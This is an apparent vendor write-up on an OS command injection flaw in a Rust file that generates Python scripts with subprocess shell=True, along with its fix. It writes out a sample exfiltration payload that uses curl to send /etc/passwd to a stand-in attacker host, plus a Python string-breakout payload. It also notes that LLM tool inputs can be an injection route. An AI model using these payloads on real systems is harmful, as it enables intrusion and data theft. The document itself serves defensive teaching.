How Command Injection Happens in Rust-Generated Python Scripts and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | OS Command Injection |
| CWE | CWE-78 |
| Language | Rust (generating Python) |
| Risk | Arbitrary OS command execution |
| Root Cause | Unsanitized user input in subprocess.run(..., shell=True) |
| Fix | shell=False + shlex.split() + quote escaping |
Introduction
The linux.rs file inside crates/goose-mcp/src/computercontroller/platform/ is responsible for automating system-level interactions on Linux hosts. It does something architecturally interesting — and, as it turned out, dangerous: it generates Python scripts at runtime in Rust, then executes them. A flaw in how those scripts were constructed at line 185 meant that anyone who could influence the commands parameter passed to execute_system_script() could run arbitrary OS commands on the host.
The vulnerability is a textbook CWE-78 (OS Command Injection), but with a twist that makes it easy to miss in code review: the injection point is in Rust string formatting code, and the dangerous call is in Python. The two-language boundary obscures the taint flow.
The Vulnerability Explained
The Dangerous Pattern
The vulnerable code generated a Python helper script in Rust. Here is the relevant run_command function that was being written into the script:
# Generated by vulnerable Rust code
def run_command(cmd):
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
except Exception as e:
print(f"Error executing {cmd}: {e}", file=sys.stderr)
And the Rust code that built the per-command calls was:
// VULNERABLE — before the fix
for cmd in commands {
script.push_str(&format!("run_command('{}')\n", cmd));
}
Two problems compound here:
-
shell=Truein Python'ssubprocess.run()tells the OS to pass the command string to/bin/sh -c. This means every shell metacharacter —;,|,&,$(), backticks — is interpreted by the shell. -
No escaping before string interpolation in Rust. The
format!("run_command('{}')\n", cmd)call inserts the raw value ofcmddirectly into the Python source code. Ifcmdcontains a single quote, it breaks out of the Python string literal. If it contains a semicolon, the shell treats it as a command separator.
Attack Scenario
Imagine an attacker who can influence the commands vector passed into execute_system_script() — perhaps through an API endpoint, a plugin input, or an LLM-controlled tool invocation. They supply:
echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)
The Rust code generates this Python:
run_command('echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)')
When the Python script runs, /bin/sh receives:
echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)
The shell executes both commands. /etc/passwd is exfiltrated. The attacker can escalate from there — writing files, spawning reverse shells, or pivoting within the container network.
A simpler payload demonstrates the issue even more starkly:
'; import os; os.system('id') #
This would break out of the Python string entirely and inject arbitrary Python code into the generated script.
Why the Two-Language Boundary Is Dangerous
This vulnerability is subtle because the injection point (Rust string formatting) and the execution point (Python subprocess) are in different languages. A developer auditing only the Rust code might not notice that the formatted string becomes executable Python. A developer auditing only the Python function signature might not realize that cmd is user-controlled. Static analysis tools that don't model cross-language code generation can miss this class of bug entirely.
The Fix
The fix addresses both root causes: the shell interpretation layer, and the lack of escaping before interpolation.
Before and After
Before (vulnerable):
// In create_python_script() — the generated Python function
r#"
def run_command(cmd):
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
except Exception as e:
print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#
// Command interpolation — no escaping
for cmd in commands {
script.push_str(&format!("run_command('{}')\n", cmd));
}
After (fixed):
// Fixed Python function — shell=False, shlex.split() for tokenization
r#"
import shlex
def run_command(cmd):
try:
result = subprocess.run(shlex.split(cmd), shell=False, capture_output=True, text=True)
return result.stdout
except Exception as e:
print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#
// Command interpolation — backslash and single-quote escaping
for cmd in commands {
let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");
script.push_str(&format!("run_command('{}')\n", escaped));
}
Why Each Change Matters
1. shell=False eliminates the shell interpretation layer.
With shell=True, Python passes the entire command string to /bin/sh -c "...". Every shell metacharacter is live. With shell=False, Python calls execvp() directly — the OS receives the program name and argument list, and there is no shell involved to interpret ;, |, $(), or backticks. This is the most impactful single change.
2. shlex.split() safely tokenizes the command string.
Since shell=False requires a list of arguments rather than a single string, shlex.split(cmd) is used to parse "ls -la /tmp" into ["ls", "-la", "/tmp"]. Crucially, shlex.split() handles quoted strings and escape sequences according to POSIX shell rules, so "echo 'hello world'" becomes ["echo", "hello world"] — a single argument, not two.
3. Escaping backslashes and single quotes in Rust prevents Python string-literal injection.
Even with shell=False, a malicious cmd value containing a single quote could still break out of the Python string literal and inject arbitrary Python code into the generated script. The two-step Rust escaping:
let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");
ensures that a cmd of '; os.system('id') becomes \'; os.system(\'id\') inside the Python source — which is interpreted as a literal string value, not a code injection.
Note on ordering: The backslash replacement must come first. Replacing
'before\\would cause the newly inserted\\escape sequences to be double-escaped in a second pass.
Prevention & Best Practices
1. Never Use shell=True with Non-Literal Input
In Python, treat shell=True as a red flag whenever the command string contains anything that isn't a hard-coded literal. The Python documentation itself warns:
"Using
shell=Truecan be a security hazard if combined with untrusted input."
Default to shell=False and pass arguments as a list.
2. Use shlex.quote() When You Must Build Shell Strings
If you genuinely need shell features (globbing, pipes, redirects) and cannot avoid shell=True, use shlex.quote() to escape each individual argument before interpolating it:
import shlex
safe_cmd = f"ls {shlex.quote(user_input)}"
subprocess.run(safe_cmd, shell=True)
3. Be Especially Careful with Code Generation
When one language generates source code in another (as Rust does here generating Python), you must reason about two levels of injection: injection into the generated source code (Python string literal injection), and injection at the execution layer (shell metacharacters). Apply escaping appropriate to each layer.
4. Validate and Allowlist Where Possible
If the set of valid commands is known and bounded, validate cmd against an allowlist before generating the script. This provides defense-in-depth even if the escaping logic has a flaw.
5. Use Static Analysis Tools
- Bandit (
B603,B604): Detectssubprocesscalls withshell=Truein Python. - Semgrep: Rules like
python.lang.security.audit.subprocess-shell-trueflag this pattern. - Cargo-audit / custom rules: For Rust codebases that generate scripts, consider custom Semgrep rules that trace
format!()calls that produce shell-executed strings.
6. Apply the Principle of Least Privilege
Even with the fix in place, the generated scripts run with the privileges of the parent process. In containerized deployments, ensure the process runs as a non-root user and with a minimal seccomp profile to limit the blast radius of any future bypass.
Key Takeaways
shell=Trueis the root cause, not just a contributing factor. Switching toshell=Falsewith a list of arguments removes the entire class of shell-metacharacter injection, regardless of what the input contains.- Cross-language code generation creates hidden taint flows. The injection point was in Rust (
format!(..., cmd)), but the sink was in Python (subprocess.run(..., shell=True)). Always trace data flow across language boundaries when generating executable code. - Escaping order matters in multi-layer string construction. In the Rust fix, backslashes must be escaped before single quotes; reversing the order would re-introduce a vulnerability.
shlex.split()is not a security control by itself — it tokenizes safely, but the real protection comes fromshell=Falsemaking the tokenized list irrelevant to shell interpretation.- LLM-driven tools that pass commands to system automation modules are high-value injection targets. If a language model can influence the
commandsparameter, prompt injection becomes a path to OS command injection.
How Orbis AppSec Detected This
- Source: The
commandsparameter passed toexecute_system_script()inlinux.rs— user- or LLM-controlled strings with no prior sanitization. - Sink:
subprocess.run(cmd, shell=True, ...)inside the Python script generated at line 185 ofcrates/goose-mcp/src/computercontroller/platform/linux.rs. - Missing control: No escaping of shell metacharacters or Python string-literal special characters before interpolation;
shell=Trueenabled shell interpretation of the full command string. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- Fix: Replaced
shell=Truewithshell=False+shlex.split()in the generated Python, and added backslash/single-quote escaping in the Rust string interpolation loop.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a reminder that command injection doesn't always look like a SQL string concatenation or a raw exec() call. When Rust generates Python that invokes shell commands, the dangerous pattern is split across two languages and two abstraction layers — making it easy to overlook in manual review. The fix is clean and surgical: shell=False removes the attack surface at the OS level, shlex.split() handles argument tokenization correctly, and explicit escaping in Rust prevents Python source-level injection. Together, these changes enforce the security invariant that shell commands never include unsanitized user input.
For developers building automation tools, agent frameworks, or any system that constructs and executes scripts from dynamic input: treat every format!() call that feeds into an executed script as a potential injection point, and apply the same rigor you would to a SQL query builder or an HTML template renderer.